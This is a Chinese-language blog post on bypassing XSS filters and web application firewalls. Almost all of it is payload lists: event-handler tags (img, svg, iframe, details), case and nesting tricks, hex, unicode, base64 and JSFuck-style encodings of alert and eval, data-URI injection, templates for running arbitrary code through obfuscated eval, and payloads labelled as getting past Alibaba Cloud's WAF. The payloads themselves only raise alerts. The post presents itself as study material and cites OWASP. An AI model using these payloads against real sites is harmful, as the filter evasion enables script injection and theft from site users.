keac's Bolg.

XSS 绕过姿势

字数统计: 1.6k阅读时长: 9 min
2019/12/29 Share

接着上一篇Xss介绍来学习XSS的一些绕过姿势

当我们被waf各种拦截的时候,可以考虑利用以下方法来进行绕过

script关键字被过滤

大小写

在测试过程中,我们可以改变测试语句的大小写来绕过XSS规则:

比如:<script>alert("xss");</script> 可以转换为:
<ScRipt>ALeRt("XSS");</sCRipT>

嵌套

嵌套<script></script>突破 <sc<script>ript>alert(/xss/)</script>

img标签突破

有些网站可能没有对img标签进行限制

<img src=""onerror="alert('xss')">

<img/src/onerror=alert(1)>

<img/src='a'onerror=[1].find(alert)>

<iframe>标签替代script突破

<iframe onload=alert(1)>

alert被过滤

编码方式

JS+base16编码

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

编码格式

unicode编码

<img src="1" onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u006e\u0069\u0063\u006f\u0064\u0065\u0027\u0029")></img>

String.fromCharCode

<img src="1" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,10 1,39,41))></img>

data协议

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object>

空格被过滤

/**/或者/

<img/src=""onerror="alert('xss1')">

单引号被过滤

反引号替代

<img/src=""onerror="alert(`xss2`)">

其他标签方式绕过

1
2
3
4
5
6
7
<marquee/onstart=confirm(1)>
<details/open/ontoggle=top["al"+"ert"](1)> 谷歌浏览器 【绕阿里云XSS】
<svg/onload=prompt(1)>
<style onload=alert(1)>
<iframe src=javascript:alert`1`>
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>

常用绕过payload

之前一枚阿里巴巴主站XSS挖掘之旅也在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
    <script>prompt(1)</script>
<script>confirm(1)</script>
<script>
var fn=window[490837..toString(1<<5)];
fn(atob('YWxlcnQoMSk='));
</script>
<script>
var fn=window[String.fromCharCode(101,118,97,108)];
fn(atob('YWxlcnQoMSk='));
</script>
<script>
var fn=window[atob('ZXZhbA==')];
fn(atob('YWxlcnQoMSk='));
</script>
<script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>
<script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>
<script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script>
<script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>
<script>'str1ng'.replace(/1/,alert)</script>
<script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script>
<script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/, function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>
<script>eval('\\u'+'0061'+'lert(1)')</script>
<script>throw~delete~typeof~prompt(1)</script>
<script>delete[a=alert]/prompt a(1)</script>
<script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script>
<script>(()=>{return this})().alert(1)</script>
<script>new function(){new.target.constructor('alert(1)')();}</script>
<script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script>
<link/rel=prefetch
import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
<link rel="import" href="data:x,<script>alert(1)</script>
<script>Array.from`1${alert}3${window}2`</script>
<script>!{x(){alert(1)}}.x()</script>
<script>Array.from`${eval}alert\`1\``</script>
<script>Array.from([1],alert)</script>
<script>Promise.reject("1").then(null,alert)</script>
<svg </onload ="1> (_=alert,_(1)) "">
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<marquee loop=1 width=0 onfinish=alert(1)>
<p onbeforescriptexecute="alert(1)"><svg><script>\</p>
<img onerror=alert(1) src <u></u>
<videogt;<source onerror=javascript:prompt(911)gt;
<base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
<base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">
<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
<script>```${``[class extends[alert``]{}]}```</script>
<script>[class extends[alert````]{}]</script>
<script>throw new class extends Function{}('alert(1)')``</script>
<script>x=new class extends Function{}('alert(1)'); x=new x;</script>
<script>new class extends alert(1){}</script>
<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>
<script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script>
<script src=data:,\u006fnerror=\u0061lert(1)></script>
"><svg><script/xlink:href="data:,alert(1)
<svg><script/xlink:href=data:,alert(1)></script>
<frameset/onpageshow=alert(1)>
<div onactivate=alert('Xss') id=xss style=overflow:scroll>
<div onfocus=alert('xx') id=xss style=display:table>

img onerror 姿势

1
2
3
4
<img onerror="location='javascript:=lert(1)'" src="x">
<img onerror="location='javascript:%61lert(1)'" src="x">
<img onerror="location='javascript:\x2561lert(1)'" src="x">
<img onerror="location='javascript:\x255Cu0061lert(1)'" src="x" >

eval 姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/***********************/
/* Encoded eval string */
/***********************/
<script>
var eval_b64 = 'ZXZhbA==';
var eval_charcode = 'String.fromCharCode(101,118,97,108)';
var eval_base32 = '490837..toString(1<<5)';
var eval_non_alpha1 = '(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]';
var eval_non_alpha2 = '(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]])';
</script>

/*********************/
/* Through functions */
/*********************/
<script>
var fn=window[atob('ZXZhbA==')];
fn(/*code to eval()/*);
</script>

<script>
var fn=window[String.fromCharCode(101,118,97,108)];
fn(/*code to eval()/*);
</script>

<script>
var fn=window[490837..toString(1<<5)];
fn(/*code to eval()/*);
</script>

/**********************************/
/* Straight through window object */
/**********************************/
<script>
window[atob('ZXZhbA==')](/*code to eval()*/)
</script>

<script>
window[String.fromCharCode(101,118,97,108)](/*code to eval()*/)
</script>

<script>
window[490837..toString(1<<5)](/*code to eval()*/)
</script>

<script>
window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

<script>
window[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

/*************************/
/* Straight through this */
/*************************/
<script>
this[atob('ZXZhbA==')](/*code to eval()*/)
</script>

<script>
this[String.fromCharCode(101,118,97,108)](/*code to eval()*/)
</script>

<script>
this[490837..toString(1<<5)](/*code to eval()*/)
</script>

<script>
this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

<script>
this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

/****************/
/* regexp based */
/****************/
<script>
'e1v2a3l'.replace(/(.).(.).(.).(.)/, function(match,$1,$2,$3,$4) { this[$1+$2+$3+$4](/* code to eval() */); })
</script>

/*********************************/
/* Other ways to execute strings */
/*********************************/
<script>
delete /* code to execute */
throw~delete~typeof~/* code to execute */
delete[a=/* function */]/delete a(/* params */)
var a = (new function(/* code to execute */))();
</script>

参考资料

大佬分享的材料

xss payload

owasp XSS_Filter_Evasion_Cheat_Sheet

XSS过滤速查表中文版 Freebuf

XSS Filter Evasion Cheat Sheet(XSS BYPASS备忘录)

CATALOG
  1. 1. script关键字被过滤
    1. 1.1. 大小写
    2. 1.2. 嵌套
    3. 1.3. img标签突破
    4. 1.4. <iframe>标签替代script突破
  2. 2. alert被过滤
    1. 2.1. 编码方式
    2. 2.2. 编码格式
    3. 2.3. data协议
  3. 3. 空格被过滤
  4. 4. 单引号被过滤
  5. 5. 其他标签方式绕过
  6. 6. 常用绕过payload
  7. 7. img onerror 姿势
  8. 8. eval 姿势
  9. 9. 参考资料